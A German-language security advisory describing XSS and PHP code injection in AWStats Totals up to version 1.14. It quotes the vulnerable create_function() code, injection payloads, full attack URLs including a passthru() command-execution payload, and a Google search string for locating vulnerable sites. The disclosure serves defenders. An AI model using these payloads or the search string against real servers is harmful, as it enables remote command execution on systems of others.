Schwachstelle in PHP-Skript AWStats Totals

AWStats ist ein verbreitetes Webanalyse-Programm, das Besucher-Statistiken für Webserver erzeugt. AWStats Totals heißt eine externe Erweiterung, die AWStats-Ausgaben auf einer Übersichtsseite zusammenfasst. In Versionen dieses PHP-Skripts bis 1.14, die teilweise noch im Betrieb sind, gibt es eine Sicherheitslücke.

Die Schwachstelle erlaubt es einem entfernten Angreifer, Befehle mit den Rechten des Webservers sowie Cross-Site-Scripting-Attacken auszuführen.

AWStats Totals fasst Webstatistiken zu einer Übersichtsseite zusammen. Ältere Versionen des PHP-Skripts weisen eine Sicherheitslücke auf.

AWStats Totals fasst Webstatistiken zu einer Übersichtsseite zusammen. Ältere Versionen des PHP-Skripts weisen eine Sicherheitslücke auf.

Das Problem besteht darin, dass AWStats Totals die Parameter “month”, “year” und “sort” aus der URL übernimmt, aber nicht korrekt filtert. Die Month- und Year-Parameter werden unverändert im Browser ausgegeben, wodurch ein Angreifer beliebigen HTML- und Javascript-Code in den Parametern unterbringen kann, der dann von dem Browser des Anwenders ausgeführt wird. Für den Besucher der Website sieht dies aber so aus, als betrachte er reguläre Inhalte der Statistikseite – also eine typische Cross-Site-Skripting-Schwachstelle.

Noch kritischer ist die Lage beim Verarbeiten des Sort-Parameters, denn mit diesem konstruiert der PHP-Code via “create_function()” eine anonyme Funktion:

function multisort(&$array, $key) {
$cmp = create_function('$a, $b',
'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
usort($array, $cmp);
}
if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Da das Programm auch die Sort-Variable nicht korrekt auf Sonderzeichen und ähnliches überprüft wird, kann der Angreifer hier PHP-Code in das Skript einschleusen. Versuchsweise könnte er den harmlosen “phpinfo()”-Aufruf ausführen lassen, indem er den Sort-Parameter auf

"].phpinfo().exit().$a[" oder {${phpinfo()}}{${exit()}}

setzt. Eine entsprechende Angriffs-URL sähe so aus:

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d

Externe Befehle mit den Rechten des Webservers lassen sich via “passthru()” ausführen. Der Befehl “id” ließe sich folgendermaßen einschleusen:

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

Hier kodieren “chr(105)” und “chr(100)” die Zeichenkette “id” via ASCII-Codes. Dank Google ist auch noch das Auffinden angreifbarer Seiten denkbar einfach: “awstatstotals filetype:php”.

Betroffen sind die Versionen älter als und einschließlich 1.14.

PHP ist berüchtigt für die hier diskutierten Schwachstellen. Allgemein fallen sie in die Kategorie Eingabekontrollfehler, was einfach heißt, dass Benutzereingaben nicht ordentlich gefiltert werden. Solche Fehler sind auch verantwortlich für SQL-Injection-Attacken. Als diese überhand nahmen, wurde in PHP das “Magic Quotes”-Konzept eingeführt, das solche Probleme reduzieren sollte. Einfach gesprochen verarbeiten Magic Quotes Benutzereingaben, bevor sie in PHP-Programmen weiterverwendet werden. So werden einfache/doppelte Anführungszeichen, Backslashes und Nullzeichen mit einem vorangestellten Backslash zum Escape versehen. Es stellte sich aber im Laufe der Zeit heraus, dass dieses Konzept vieles umständlich macht und auch nicht vor anderen häufig vorkommenden Angriffen wie Cross-Site-Skripting schützte. Darum wurden Magic Quotes seit PHP 5.3.0 als veraltet erklärt.

Nach oben